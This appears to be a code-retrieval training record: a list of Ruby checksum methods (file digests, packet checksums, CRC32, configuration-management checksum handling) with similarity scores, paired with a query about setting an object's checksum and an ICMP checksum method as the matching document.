"def checksum\n digest = @digest_klass.new\n buf = ''\n\n File.open(@path, \"rb\") do |f|\n while !f.eof\n begin\n f.readpartial(BUFFER_SIZE, buf)\n digest.update(buf)\n rescue EOFError\n # Although we check for EOF earlier, this seems to happen\n # sometimes anyways [GH-2716].\n break\n end\n end\n end\n\n digest.hexdigest\n end",
"def calc_checksum\n sum = ip_header(self).pseudo_header_checksum\n sum += self.sz\n sum += IP_PROTOCOL\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def calc_checksum\n ip = ip_header(self)\n sum = ip.pseudo_header_checksum\n sum += IP_PROTOCOL\n sum += self.sz\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def checksum(arg = nil)\n set_or_return(:checksum, arg, kind_of: [String])\n end",
"def calc_checksum\n c0 = c1 = 0\n to_s[2..].unpack('C*').each do |byte|\n c0 += byte\n c1 += c0\n end\n c0 %= 255\n c1 %= 255\n\n x = ((sz - 17) * c0 - c1) % 255\n x += 255 if x <= 0\n y = 255 * 2 - c0 - x\n y -= 255 if y > 255\n self.checksum = (x << 8) | y\n end",
"def compute_checksum\n pseudo = []\n pseudo << ((((self.version << 4) | self.hlen) << 8) | self.tos)\n pseudo << self.len\n pseudo << self.id\n pseudo << ((self.flags << 13) | self.foffset)\n pseudo << ((self.ttl << 8) | self.protocol)\n pseudo << 0 \n pseudo << L3::Misc.ipv42long(self.src_ip)\n pseudo << L3::Misc.ipv42long(self.dst_ip)\n L3::Misc.checksum(pseudo.pack(\"nnnnnnNN\"))\n end",
"def dmg_package_checksum\n case new_resource.source\n when :direct\n package_metadata[:sha256]\n else\n new_resource.checksum\n end\n end",
"def checksum\n calc_checksum = 0\n byte_bit_nbr = 0\n @fuse_data.each { |bit|\n calc_checksum += 2**byte_bit_nbr if bit == 1\n byte_bit_nbr += 1\n byte_bit_nbr = 0 if byte_bit_nbr == 8\n }\n calc_checksum = calc_checksum % 2**16\n calc_checksum\n end",
"def checksum_of(origin)\n #noinspection RubyArgCount\n Zlib::crc32(origin).to_s\n end",
"def checksum(path)\n FileChecksum.new(path, Digest::SHA1).checksum\n end",
"def checksum_of(origin)\n #noinspection RubyArgCount\n Zlib::crc32(origin).to_s\n end",
"def checksum sequence_number\n Digest::MD5.hexdigest(@buffer[sequence_number])\n end",
"def checksum_of(url, etag, last_modified)\n #noinspection RubyArgCount\n Zlib::crc32(url + etag + last_modified).to_s\n end",
"def checksum\n render json: content_files_checksums(druid).to_json\n end",
"def checksum\n @checksum ||= begin\n representative_checksums = work_presenter.public_member_presenters.collect(&:representative_checksum).compact\n Digest::MD5.hexdigest(representative_checksums.join(\"-\"))\n end\n end",
"def checksum\n summation = 0\n @nmi.reverse.split(//).each_index do |i|\n value = nmi[nmi.length - i - 1].ord\n value *= 2 if i.even?\n value = value.to_s.split(//).map(&:to_i).reduce(:+)\n summation += value\n end\n checksum = (10 - (summation % 10)) % 10\n checksum\n end",
"def checksum\n return nil if @window_bits < 0\n @deflater.closed? ? @checksum : @deflater.adler\n end",
"def checksum?\n self.checksum == compute_checksum\n end",
"def crc32\n @attributes[:crc32]\n end",
"def calcChecksum(data)\n \n # calculate checksum\n checksum = 0xFF\n data.each_byte {|x| checksum ^= x }\n \n return checksum\n end",
"def fetch_checksum\n uri = URI(new_resource.checksum_uri)\n request = Net::HTTP.new(uri.host, uri.port)\n request.use_ssl = true if uri.to_s.start_with?('https')\n response = request.get(uri)\n if response.code != '200'\n Chef::Log.fatal(\"Fetching the Logstash tarball checksum at #{uri} resulted in an error #{response.code}\")\n raise\n end\n response.body.split(' ')[0]\n rescue => e\n Chef::Log.fatal(\"Could not fetch the checksum due to an error: #{e}\")\n raise\n end",
"def update_checksum\n hh = header(\" \" * 8)\n @checksum = oct(calculate_checksum(hh), 6)\n end",
"def checksum(hex)\n sha256(sha256(hex))[0...8]\n end",
"def checksum\n return nil if @window_bits < 0\n @inflater.closed? ? @checksum : @inflater.adler\n end",
"def checksum\n @checksum ||= begin\n voice = @attrs[:voice]\n data = [\n voice.engine_id.to_s,\n voice.lang_id.to_s,\n voice.voice_id.to_s,\n @attrs[:text].to_s,\n @attrs[:ext].to_s,\n @attrs[:fx_type].to_s,\n @attrs[:fx_level].to_s,\n @attrs[:account_id].to_s,\n @attrs[:api_id].to_s,\n @attrs[:session].to_s,\n @attrs[:secret_phrase].to_s\n ].join('')\n Digest::MD5.hexdigest(data)\n end\n end",
"def checksum_trailer\n fil_trailer[:checksum]\n end",
"def calc_checksum\n ipv6 = ip_header(self)\n sum = ipv6.pseudo_header_checksum\n sum += IP_PROTOCOL\n sum += self.sz\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def file_checksum(file_path)\n Digest::SHA256.file(file_path).hexdigest\n end",
"def external_dependency_checksum\n nil\n end",
"def crc; end",
"def crc; end",
"def crc; end",
"def external_dependency_checksum; end",
"def checksum(iFirstOrSecond)\n\n\t\t# if invalid index\n\t\treturn 0xFF if (1 < iFirstOrSecond)\n\n\t\treturn @aChecksum[iFirstOrSecond];\n\n\tend",
"def checksum(hex)\n sha256(sha256(hex))[0...8]\nend",
"def checksum\n Digest::SHA256.file(sample_dmg).hexdigest\nend",
"def checksum!\n # Get a deep copy of hash to compare with\n @_original_hash = Marshal.load(Marshal.dump(to_hash))\n # create a copy of basic elements\n base = self.reject { |k,_| ['_id', '_rev', 'couchrest-hash'].include? k.to_s }\n\n result = nil\n\n flatten =\n lambda {|r|\n (recurse = lambda {|v|\n if v.is_a?(Hash) || v.is_a?(CouchRest::Document)\n v.to_a.map{|v| recurse.call(v)}.flatten\n elsif v.is_a?(Array)\n v.flatten.map{|v| recurse.call(v)}\n else\n v.to_s\n end\n }).call(r)\n }\n self['couchrest-hash'] = Digest::MD5.hexdigest(flatten.call(base).sort.join(''))\n end",
"def compute_checksum\n # some things are significant by default but can be overridden by config.\n significant =\n (@effective_route_config[@kind] &&\n @effective_route_config[@kind][SIGNIFICANT_KEY]) ||\n {}\n\n # verb and (response-only) http_status are always significant.\n significant_data = RightSupport::Data::Mash.new(verb: @verb)\n significant_data[:http_status] = @http_status if @http_status\n\n # significance by type.\n [:header, :query, :body].each do |type|\n copy_if_significant(type, significant, significant_data)\n end\n\n # use deep-sorted JSON to prevent random ordering changing the checksum.\n @checksum_data = self.class.deep_sorted_json(significant_data)\n if logger.debug?\n logger.debug(\"#{@kind} significant = #{significant.inspect}\")\n logger.debug(\"#{@kind} checksum_data = #{@checksum_data.inspect}\")\n end\n ::Digest::MD5.hexdigest(@checksum_data)\n end",
"def validate_checksum\n raise Puppet::Error.new \"Inconsistent checksums. Checksum of fetched file is #{calculated_checksum}. You specified #{specified_checksum}\" if calculated_checksum != specified_checksum\n end",
"def getsum(checktype, file = nil)\n sum = \"\"\n\n checktype = :mtime if checktype == :timestamp\n checktype = :ctime if checktype == :time\n self.should = checktype = :md5 if @resource.property(:source)\n\n file ||= @resource[:path]\n\n return nil unless FileTest.exist?(file)\n\n if ! FileTest.file?(file)\n checktype = :mtime\n end\n method = checktype.to_s + \"_file\"\n\n self.fail(\"Invalid checksum type %s\" % checktype) unless respond_to?(method)\n\n return \"{%s}%s\" % [checktype, send(method, file)]\n end",
"def checksum=(value)\n munge(@should)\n self.updatesum(value)\n end",
"def pseudo_header_checksum\n sum = 0\n self[:src].to_a.each { |word| sum += word.to_i }\n self[:dst].to_a.each { |word| sum += word.to_i }\n sum\n end",
"def compute_checksum(data_)\n data = data_.dup\n data[22..25] = [0].pack(\"V\")\n crc = 0\n \n data.each_byte do |byte|\n crc = (crc << 8)^CHECKSUM_TABLE[((crc >> 24)&0xff) ^ byte]\n crc = crc & 0xffffffff\n end\n crc\n end",
"def checksum(hex)\n hash = hash256(hex) # Hash the data through SHA256 twice\n return hash[0...8] # Return the first 4 bytes (8 characters)\n end",
"def crc32\n Zlib.crc32(@request)\n end",
"def checksum_char\n packed_orcid[-1]\n end",
"def image_checksum(data, index1 = 0, index2 = 0) #:nodoc:\n case @checksum_method\n when 3\n Digest::MD5.hexdigest(data)\n when 1\n # Digest::MD4\n # return Digest::MD4::md4_hex($data);\n when 2\n # Digest::Perl::MD4\n # return Digest::Perl::MD4::md4_hex($data);\n else\n # Default\n # return sprintf('%016X%016X', index2, index1)\n end\n end",
"def handlesum\n currentvalue = self.retrieve\n if currentvalue.nil?\n raise Puppet::Error, \"Checksum state for %s is somehow nil\" %\n @resource.title\n end\n\n if self.insync?(currentvalue)\n self.debug \"Checksum is already in sync\"\n return nil\n end\n # If we still can't retrieve a checksum, it means that\n # the file still doesn't exist\n if currentvalue == :absent\n # if they're copying, then we won't worry about the file\n # not existing yet\n return nil unless @resource.property(:source)\n end\n\n # If the sums are different, then return an event.\n if self.updatesum(currentvalue)\n return :file_changed\n else\n return nil\n end\n end",
"def pseudo_header_checksum\n checksum = self[:src].to_i + self[:dst].to_i\n (checksum >> 16) + (checksum & 0xffff)\n end",
"def calculate_checksum\n indices = build_word_indices(false)\n create_rs1024_checksum(indices).map{|i|i.to_bits(10)}.join.to_i(2)\n end",
"def checksum\n\t\taddends.reduce(:+)\n\tend",
"def checksum(hex)\n hash = hash256(hex) # Hash the data through SHA256 twice\n return hash[0...8] # Return the first 4 bytes (8 characters)\nend",
"def get_crc\n # We consider the file's modification time\n if (File.exists?(@URL))\n return File.mtime(@URL)\n else\n return 0\n end\n end",
"def calculate_checksum(file)\n @lookup_checksums[file] = Digest::MD5.hexdigest(File.read(file, mode: \"rb\")) rescue \"\"\n end",
"def retrieve(usecache = false)\n # When the 'source' is retrieving, it passes \"true\" here so\n # that we aren't reading the file twice in quick succession, yo.\n currentvalue = currentsum()\n return currentvalue if usecache and currentvalue\n\n stat = nil\n return :absent unless stat = @resource.stat\n\n if stat.ftype == \"link\" and @resource[:links] != :follow\n self.debug \"Not checksumming symlink\"\n # @resource.delete(:checksum)\n return currentvalue\n end\n\n # Just use the first allowed check type\n currentvalue = getsum(checktype())\n\n # If there is no sum defined, then store the current value\n # into the cache, so that we're not marked as being\n # out of sync. We don't want to generate an event the first\n # time we get a sum.\n self.updatesum(currentvalue) unless cache(checktype())\n\n # @resource.debug \"checksum state is %s\" % self.is\n return currentvalue\n end",
"def checksum64(io)\n Base64.encode64([checksum(io)].pack(\"H*\")).strip\n end",
"def md5sum\n Digest::MD5.hexdigest(self)\n end",
"def verify_checksum!\n log.info(log_key) { \"Verifying checksum\" }\n\n expected = checksum\n actual = digest(downloaded_file, digest_type)\n\n if expected != actual\n raise ChecksumMismatch.new(self, expected, actual)\n end\n end",
"def get_md5sum(file)\n get_sum(file, 'md5')\n end",
"def checksum_file(digest_class, path)\n digester = digest_class.new\n digester.file(path)\n digester.hexdigest\n end",
"def finish\n self.class.pack(checksum)\n end",
"def asset_checksum(asset)\n filename = asset.original_file_location\n match = filename.match(/\\ASHA256E-s\\d*--(\\h{64})\\.[a-zA-Z]+\\Z/)\n match ? match[1] : nil\n end",
"def checksum(file_path, hash_class, _bit_size)\n # Size of each chunk\n chunk_size = 2048\n # Hash that is the checksum function\n # when a bitsize was specified\n if _bit_size\n hash = hash_class.new(_bit_size)\n else\n hash = hash_class.new\n end\n # File handler\n file_object = File.open(file_path, 'r')\n # loop to update the hash\n while true\n content = file_object.read chunk_size\n # Break the loop if we don't get any byte\n unless content\n return hash.hexdigest\n end\n # Update the hash\n hash.update content\n end\nend",
"def to_i\n buf_flush if @buf.size > 0\n @crc\n end",
"def digest\n metadata[:digest]\n end",
"def digest_type\n DIGESTS.each do |digest|\n return digest if source.key? digest\n end\n raise ChecksumMissing.new(self)\n end",
"def checksum(file, digest=nil)\n return nil unless digest\n if FileTest.directory?(file)\n @null_string ||= digester(digest).hexdigest(\"\") # TODO use other means\n else\n digester(digest).hexdigest(File.read(file))\n end\n end",
"def get_checksum\n msg = nil\n header_only = nil\n\n if params[:chk_header_only] == '1'\n # bind header only content\n header_only = true\n msg = Checksum.get_header_info params[:excel_file]\n else\n # 2. sequentially download package in checksum file\n path = Rails.root.join('public', 'checksum_packages', params[:folder])\n msg = Checksum.dowload_files path, params['excel_file']\n end\n\n if msg == ErrorNo::UploadFile::EXCEL_INVALID_FILE_TYPE\n message = 'Please select correct excel file type: .csv/.xls/.xlsx'\n elsif msg == ErrorNo::UploadFile::EXCEPTION\n message = 'Error occurred when uploading file. Please contact administrator for more details.'\n elsif msg == ErrorNo::FileFolder::F_EXIST\n message = \"'#{params[:folder]}' folder already exists. Please enter new name\"\n elsif msg.is_a?(Array) && msg[0] == ErrorNo::UploadFile::EXCEL_MISSING_HEADER\n message = 'Below is the missing header titles list. Please update header title(s) of the excel file or contact your administrator<br/>' + msg[1]\n elsif msg == ErrorNo::UploadFile::EXCEL_CANNOT_OPEN\n message = 'Cannot open file! Please try again.'\n elsif header_only\n message = msg\n else\n message = '<p class=\\'alert alert-success\\'>Server is downloading packages sequentially. Please navigate to Checksum Comparison Result page for more details.</p>'\n end\n\n render plain: message\n end",
"def md5\n return self.body_data.md5\n end",
"def hexdigest(value)\n Aws::Checksums.sha256_hexdigest(value)\n end",
"def include_checksum?\n include_checksum\n end",
"def checksum(msg)\n length = msg.length\n num_short = length / 2\n check = 0\n\n msg.unpack(\"n#{num_short}\").each do |short|\n check += short\n end\n\n if length % 2 > 0\n check += msg[length-1, 1].unpack('C').first << 8\n end\n\n check = (check >> 16) + (check & 0xffff)\n return (~((check >> 16) + check) & 0xffff)\n end",
"def checksum_specified?\n ! specified_checksum.nil?\n end"
] | [
"0.8215601",
"0.8108554",
"0.7862754",
"0.7837578",
"0.77673894",
"0.77268004",
"0.76303434",
"0.75534683",
"0.75116295",
"0.749005",
"0.74810606",
"0.74794054",
"0.7461084",
"0.7461084",
"0.74261373",
"0.7403018",
"0.73484415",
"0.73267597",
"0.7298995",
"0.7298995",
"0.7244927",
"0.71756774",
"0.7072542",
"0.7056346",
"0.697475",
"0.69739044",
"0.6953562",
"0.6946887",
"0.6945288",
"0.68940973",
"0.688908",
"0.688719",
"0.6866801",
"0.6854779",
"0.68075174",
"0.675643",
"0.6735132",
"0.6721743",
"0.6680027",
"0.6675771",
"0.66724205",
"0.66714084",
"0.665851",
"0.6638844",
"0.6633866",
"0.662733",
"0.66249",
"0.6579063",
"0.65757084",
"0.65726817",
"0.6528391",
"0.65281963",
"0.6505294",
"0.6487484",
"0.6435609",
"0.64085233",
"0.63904977",
"0.6388556",
"0.6388556",
"0.6388556",
"0.63711566",
"0.6333516",
"0.63283545",
"0.63239646",
"0.6318147",
"0.6284116",
"0.6284082",
"0.6266281",
"0.62575346",
"0.624664",
"0.6245745",
"0.62281257",
"0.619498",
"0.6184794",
"0.6182432",
"0.61596596",
"0.6152862",
"0.6134286",
"0.6126706",
"0.6106441",
"0.609122",
"0.60804415",
"0.6067443",
"0.6066245",
"0.6007922",
"0.5994819",
"0.5989686",
"0.598637",
"0.5981279",
"0.5947163",
"0.5946199",
"0.59127045",
"0.5910502",
"0.5906134",
"0.588746",
"0.58707106",
"0.58542246",
"0.5822185",
"0.58145565",
"0.5814188",
"0.5813206"
] | 0.0 | -1 |
Calculates and sets the checksum for the object. | def icmp_calc_sum
checksum = (icmp_type.to_i << 8) + icmp_code.to_i
chk_body = (body.to_s.size % 2 == 0 ? body.to_s : body.to_s + "\x00")
if 1.respond_to? :ord
chk_body.split("").each_slice(2).map { |x| (x[0].ord << 8) + x[1].ord }.each { |y| checksum += y }
else
chk_body.split("").each_slice(2).map { |x| (x[0] << 8) + x[1] }.each { |y| checksum += y }
end
checksum = checksum % 0xffff
checksum = 0xffff - checksum
checksum == 0 ? 0xffff : checksum
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def checksum!# {{{\n self.csum = compute_checksum\n end",
"def checksum!\n self.checksum = compute_checksum\n end",
"def checksum!\n self.checksum = compute_checksum\n end",
"def checksum\n Nanoc::Checksummer.calc(self)\n end",
"def checksum\n end",
"def calc_checksum\n # Checksum is only on header, so cannot use IP.sum16,\n # which also calculates checksum on #body.\n nb_words = ihl * 2\n self.checksum = 0\n checksum = to_s.unpack(\"n#{nb_words}\").sum\n self[:checksum].value = IP.reduce_checksum(checksum)\n end",
"def checksum=(value)\n munge(@should)\n self.updatesum(value)\n end",
"def update_checksum\n hh = header(\" \" * 8)\n @checksum = oct(calculate_checksum(hh), 6)\n end",
"def calc_checksum\n sum = IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def calc_checksum\n sum = IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def checksums; end",
"def rubocop_checksum; end",
"def checksum!\n # Get a deep copy of hash to compare with\n @_original_hash = Marshal.load(Marshal.dump(to_hash))\n # create a copy of basic elements\n base = self.reject { |k,_| ['_id', '_rev', 'couchrest-hash'].include? k.to_s }\n\n result = nil\n\n flatten =\n lambda {|r|\n (recurse = lambda {|v|\n if v.is_a?(Hash) || v.is_a?(CouchRest::Document)\n v.to_a.map{|v| recurse.call(v)}.flatten\n elsif v.is_a?(Array)\n v.flatten.map{|v| recurse.call(v)}\n else\n v.to_s\n end\n }).call(r)\n }\n self['couchrest-hash'] = Digest::MD5.hexdigest(flatten.call(base).sort.join(''))\n end",
"def setchecksum(sum = nil)\n if @parameters.include? :checksum\n if sum\n @parameters[:checksum].checksum = sum\n else\n # If they didn't pass in a sum, then tell checksum to\n # figure it out.\n currentvalue = @parameters[:checksum].retrieve\n @parameters[:checksum].checksum = currentvalue\n end\n end\n end",
"def checksum?# {{{\n self.csum == compute_checksum\n end",
"def checksum\n @checksum ||= luhn_doubled.inject(0) { |a, e| a + sum_of(e) }\n end",
"def checksum\n source[digest_type]\n end",
"def calc_checksum\n sum = ip_header(self).pseudo_header_checksum\n sum += self.sz\n sum += IP_PROTOCOL\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def finish\n self.class.pack(checksum)\n end",
"def calc_checksum\n c0 = c1 = 0\n to_s[2..].unpack('C*').each do |byte|\n c0 += byte\n c1 += c0\n end\n c0 %= 255\n c1 %= 255\n\n x = ((sz - 17) * c0 - c1) % 255\n x += 255 if x <= 0\n y = 255 * 2 - c0 - x\n y -= 255 if y > 255\n self.checksum = (x << 8) | y\n end",
"def calculated_checksum\n send(\"#{@resource[:checksum_type]}_file\".to_sym, @resource[:path]) \n end",
"def checksum(name)\n checksum_data[name]\n end",
"def calc_checksum\n ip = ip_header(self)\n sum = ip.pseudo_header_checksum\n sum += IP_PROTOCOL\n sum += self.sz\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def fix!# {{{\n self.checksum!\n end",
"def set_checksums_by_ruby_hash(ruby_hash)\n self.update checksums: JSON.dump(ruby_hash)\n end",
"def checksum\n\t\t@checksum ||= FileManager.checksum(@path)\n #\t\tif file?\n #\t\t\treturn FileManager.checksum(@path)\n #\t\tend\n end",
"def checksum\n return @checksum if @checksum\n\n raise 'number1 is required' unless self.number1\n raise 'number2 is required' unless self.number2\n raise 'challenge is required' unless self.challenge\n\n checksum = ''\n checksum += [self.number1].pack('N')\n checksum += [self.number2].pack('N')\n checksum += self.challenge\n checksum = Digest::MD5.digest(checksum)\n\n return @checksum ||= checksum\n end",
"def set_ip_checksum\n self.ip_sum = 0\n check_sum_data = to_s[0..(ip_hl*4 - 1)].unpack(\"S>*\")\n sum = check_sum_data.inject(0) { |acc, byte| acc + byte }\n sum = sum + (sum >> 16)\n self.ip_sum = ~sum\n end",
"def compute_checksum# {{{\n pseudo = []\n pseudo << ((self.version << 8) | self.ttl)\n pseudo << 0\n pseudo << self.payload\n L3::Misc.checksum(pseudo.pack(\"nna*\"))\n end",
"def checksum\n Digest::SHA256.hexdigest(self.to_smash(:sorted).to_s)\n end",
"def upstream_sha1=( checksum )\n @digest = Crate::Digest.sha1( checksum )\n end",
"def upstream_md5=( checksum )\n @digest = Crate::Digest.md5( checksum )\n end",
"def checksum(arg = nil)\n set_or_return(:checksum, arg, kind_of: [String])\n end",
"def checksum\n @checksum ||= begin\n if empty?\n EMPTY_CHECKSUM\n else\n ::Digest::MD5.hexdigest(children.map(&:checksum).join)\n end\n end.to_s\n end",
"def checksum\n @crc ^ @xor_mask\n end",
"def calc_checksum\n ipv6 = ip_header(self)\n sum = ipv6.pseudo_header_checksum\n sum += IP_PROTOCOL\n sum += self.sz\n sum += IP.sum16(self)\n self.checksum = IP.reduce_checksum(sum)\n end",
"def load_checksums(dobj)\n log ' - load_checksums()'\n dobj.object_files.each { |file| file.provider_md5 = file.md5 }\n end",
"def compute_checksum\n pseudo = []\n pseudo << ((((self.version << 4) | self.hlen) << 8) | self.tos)\n pseudo << self.len\n pseudo << self.id\n pseudo << ((self.flags << 13) | self.foffset)\n pseudo << ((self.ttl << 8) | self.protocol)\n pseudo << 0 \n pseudo << L3::Misc.ipv42long(self.src_ip)\n pseudo << L3::Misc.ipv42long(self.dst_ip)\n L3::Misc.checksum(pseudo.pack(\"nnnnnnNN\"))\n end",
"def checksum\n @checksum ||= begin\n voice = @attrs[:voice]\n data = [\n voice.engine_id.to_s,\n voice.lang_id.to_s,\n voice.voice_id.to_s,\n @attrs[:text].to_s,\n @attrs[:ext].to_s,\n @attrs[:fx_type].to_s,\n @attrs[:fx_level].to_s,\n @attrs[:account_id].to_s,\n @attrs[:api_id].to_s,\n @attrs[:session].to_s,\n @attrs[:secret_phrase].to_s\n ].join('')\n Digest::MD5.hexdigest(data)\n end\n end",
"def md5sum\n @md5sum ||= Digest::MD5.hexdigest(self.to_checksum_string)\n end",
"def checksum\n calc_checksum = 0\n byte_bit_nbr = 0\n @fuse_data.each { |bit|\n calc_checksum += 2**byte_bit_nbr if bit == 1\n byte_bit_nbr += 1\n byte_bit_nbr = 0 if byte_bit_nbr == 8\n }\n calc_checksum = calc_checksum % 2**16\n calc_checksum\n end",
"def checksum\n self[:ip_sum]\n end",
"def calculate_checksum\n indices = build_word_indices(false)\n create_rs1024_checksum(indices).map{|i|i.to_bits(10)}.join.to_i(2)\n end",
"def get_checksum_method #:nodoc:\n @checksum_method = 3\n end",
"def calculate_checksum\n last_checksum = previous_event&.checksum\n attrs = attributes.except(\"checksum\", \"id\", \"updated_at\").merge(last_checksum: last_checksum)\n cs = Digest::SHA256.hexdigest(attrs.to_s)\n puts \"#{id} calculate_checksum: #{cs} <- #{attrs} \" if Rails.env.development?\n Rails.logger.info(\"#{id} calculate_checksum: #{cs} <- #{attrs} \")\n return cs\n end",
"def set_checksum_record\n @checksum_record = ChecksumRecord.find(params[:id])\n end",
"def compute_checksum\n # some things are significant by default but can be overridden by config.\n significant =\n (@effective_route_config[@kind] &&\n @effective_route_config[@kind][SIGNIFICANT_KEY]) ||\n {}\n\n # verb and (response-only) http_status are always significant.\n significant_data = RightSupport::Data::Mash.new(verb: @verb)\n significant_data[:http_status] = @http_status if @http_status\n\n # significance by type.\n [:header, :query, :body].each do |type|\n copy_if_significant(type, significant, significant_data)\n end\n\n # use deep-sorted JSON to prevent random ordering changing the checksum.\n @checksum_data = self.class.deep_sorted_json(significant_data)\n if logger.debug?\n logger.debug(\"#{@kind} significant = #{significant.inspect}\")\n logger.debug(\"#{@kind} checksum_data = #{@checksum_data.inspect}\")\n end\n ::Digest::MD5.hexdigest(@checksum_data)\n end",
"def calculate_hash!\n prefix = PREFIX_NAME_LOOKUP[self.type]\n # add special cases for refs\n self.hash_id = NodeId.sha1(\"#{prefix} #{self.size}\\0#{self.content}\")\n end",
"def reset()\n\n\t\t@aChecksum = [ 0xFF, 0xFF ];\n\n\tend",
"def checksum\n digest = @digest_klass.new\n buf = ''\n\n File.open(@path, \"rb\") do |f|\n while !f.eof\n begin\n f.readpartial(BUFFER_SIZE, buf)\n digest.update(buf)\n rescue EOFError\n # Although we check for EOF earlier, this seems to happen\n # sometimes anyways [GH-2716].\n break\n end\n end\n end\n\n digest.hexdigest\n end",
"def checksum(path)\n FileChecksum.new(path, Digest::SHA1).checksum\n end",
"def specified_checksum\n @resource[:checksum]\n end",
"def checksum_of(origin)\n #noinspection RubyArgCount\n Zlib::crc32(origin).to_s\n end",
"def shasum\n @shasum ||= begin\n digest = Digest::SHA256.new\n\n log.info(log_key) { \"Calculating shasum\" }\n log.debug(log_key) { \"name: #{name.inspect}\" }\n log.debug(log_key) { \"install_dir: #{install_dir.inspect}\" }\n log.debug(log_key) { \"overrides: #{overrides.inspect}\" }\n\n update_with_string(digest, name)\n update_with_string(digest, install_dir)\n update_with_string(digest, JSON.fast_generate(overrides))\n\n if filepath && File.exist?(filepath)\n log.debug(log_key) { \"filepath: #{filepath.inspect}\" }\n update_with_file_contents(digest, filepath)\n else\n log.debug(log_key) { \"filepath: <DYNAMIC>\" }\n update_with_string(digest, '<DYNAMIC>')\n end\n\n shasum = digest.hexdigest\n\n log.debug(log_key) { \"shasum: #{shasum.inspect}\" }\n\n shasum\n end\n end",
"def checksum?\n self.checksum == self.compute_checksum\n end",
"def checksum_of(origin)\n #noinspection RubyArgCount\n Zlib::crc32(origin).to_s\n end",
"def calcChecksum(data)\n \n # calculate checksum\n checksum = 0xFF\n data.each_byte {|x| checksum ^= x }\n \n return checksum\n end",
"def dmg_package_checksum\n case new_resource.source\n when :direct\n package_metadata[:sha256]\n else\n new_resource.checksum\n end\n end",
"def verify_checksum!\n log.info(log_key) { \"Verifying checksum\" }\n\n expected = checksum\n actual = digest(downloaded_file, digest_type)\n\n if expected != actual\n raise ChecksumMismatch.new(self, expected, actual)\n end\n end",
"def validate_checksum\n raise Puppet::Error.new \"Inconsistent checksums. Checksum of fetched file is #{calculated_checksum}. You specified #{specified_checksum}\" if calculated_checksum != specified_checksum\n end",
"def compute_checksum(data_)\n data = data_.dup\n data[22..25] = [0].pack(\"V\")\n crc = 0\n \n data.each_byte do |byte|\n crc = (crc << 8)^CHECKSUM_TABLE[((crc >> 24)&0xff) ^ byte]\n crc = crc & 0xffffffff\n end\n crc\n end",
"def checksum_file(digest_class, path)\n digester = digest_class.new\n digester.file(path)\n digester.hexdigest\n end",
"def validate_checksum_state\n super\n end",
"def checksum\n\t\taddends.reduce(:+)\n\tend",
"def checksum\n render json: content_files_checksums(druid).to_json\n end",
"def crc32\n @attributes[:crc32]\n end",
"def checksum\n return nil if @window_bits < 0\n @deflater.closed? ? @checksum : @deflater.adler\n end",
"def checksum\n fil_header[:checksum]\n end",
"def reset\n @crc = @init_crc\n end",
"def handlesum\n currentvalue = self.retrieve\n if currentvalue.nil?\n raise Puppet::Error, \"Checksum state for %s is somehow nil\" %\n @resource.title\n end\n\n if self.insync?(currentvalue)\n self.debug \"Checksum is already in sync\"\n return nil\n end\n # If we still can't retrieve a checksum, it means that\n # the file still doesn't exist\n if currentvalue == :absent\n # if they're copying, then we won't worry about the file\n # not existing yet\n return nil unless @resource.property(:source)\n end\n\n # If the sums are different, then return an event.\n if self.updatesum(currentvalue)\n return :file_changed\n else\n return nil\n end\n end",
"def checksum\n @checksum ||= begin\n representative_checksums = work_presenter.public_member_presenters.collect(&:representative_checksum).compact\n Digest::MD5.hexdigest(representative_checksums.join(\"-\"))\n end\n end",
"def external_dependency_checksum; end",
"def checksum(file_path, hash_class, _bit_size)\n # Size of each chunk\n chunk_size = 2048\n # Hash that is the checksum function\n # when a bitsize was specified\n if _bit_size\n hash = hash_class.new(_bit_size)\n else\n hash = hash_class.new\n end\n # File handler\n file_object = File.open(file_path, 'r')\n # loop to update the hash\n while true\n content = file_object.read chunk_size\n # Break the loop if we don't get any byte\n unless content\n return hash.hexdigest\n end\n # Update the hash\n hash.update content\n end\nend",
"def calculate_checksum(file)\n @lookup_checksums[file] = Digest::MD5.hexdigest(File.read(file, mode: \"rb\")) rescue \"\"\n end",
"def checksum?\n self.checksum == compute_checksum\n end",
"def save_checksum\n Chef::Log.debug(\"Saving checksum for SMF #{self.name}: #{self.checksum}\")\n ::FileUtils.mkdir_p(Chef::Config.checksum_path)\n f = ::File.new(checksum_file, 'w')\n f.write self.checksum\nend",
"def crc; end",
"def crc; end",
"def crc; end",
"def checksum_of(url, etag, last_modified)\n #noinspection RubyArgCount\n Zlib::crc32(url + etag + last_modified).to_s\n end",
"def checksum(string)\n Digest::SHA512.hexdigest([SALTER, string].join(SALTER_JOINER))\n end",
"def shasum\n @shasum ||= begin\n digest = Digest::SHA256.new\n\n update_with_string(digest, name)\n update_with_string(digest, install_dir)\n update_with_string(digest, FFI_Yajl::Encoder.encode(overrides))\n\n if filepath && File.exist?(filepath)\n update_with_file_contents(digest, filepath)\n else\n update_with_string(digest, \"<DYNAMIC>\")\n end\n\n digest.hexdigest\n end\n end",
"def checksum\n summation = 0\n @nmi.reverse.split(//).each_index do |i|\n value = nmi[nmi.length - i - 1].ord\n value *= 2 if i.even?\n value = value.to_s.split(//).map(&:to_i).reduce(:+)\n summation += value\n end\n checksum = (10 - (summation % 10)) % 10\n checksum\n end",
"def update!(**args)\n @checksums_location = args[:checksums_location] if args.key?(:checksums_location)\n @chunk_size_bytes = args[:chunk_size_bytes] if args.key?(:chunk_size_bytes)\n @object_location = args[:object_location] if args.key?(:object_location)\n @object_size_bytes = args[:object_size_bytes] if args.key?(:object_size_bytes)\n @object_version = args[:object_version] if args.key?(:object_version)\n end",
"def generate_dummy_checksum()\n file = Pedant::Utility.new_random_file\n checksum = Pedant::Utility.checksum(file)\n sandbox = create_sandbox([file])\n upload_to_sandbox(file, sandbox)\n sleep 2 #give s3 some time\n commit_sandbox(sandbox)\n checksum\n end",
"def external_dependency_checksum\n nil\n end",
"def checksum\n Digest::SHA256.file(sample_dmg).hexdigest\nend",
"def crc=(_arg0); end",
"def team_checksum(team); end",
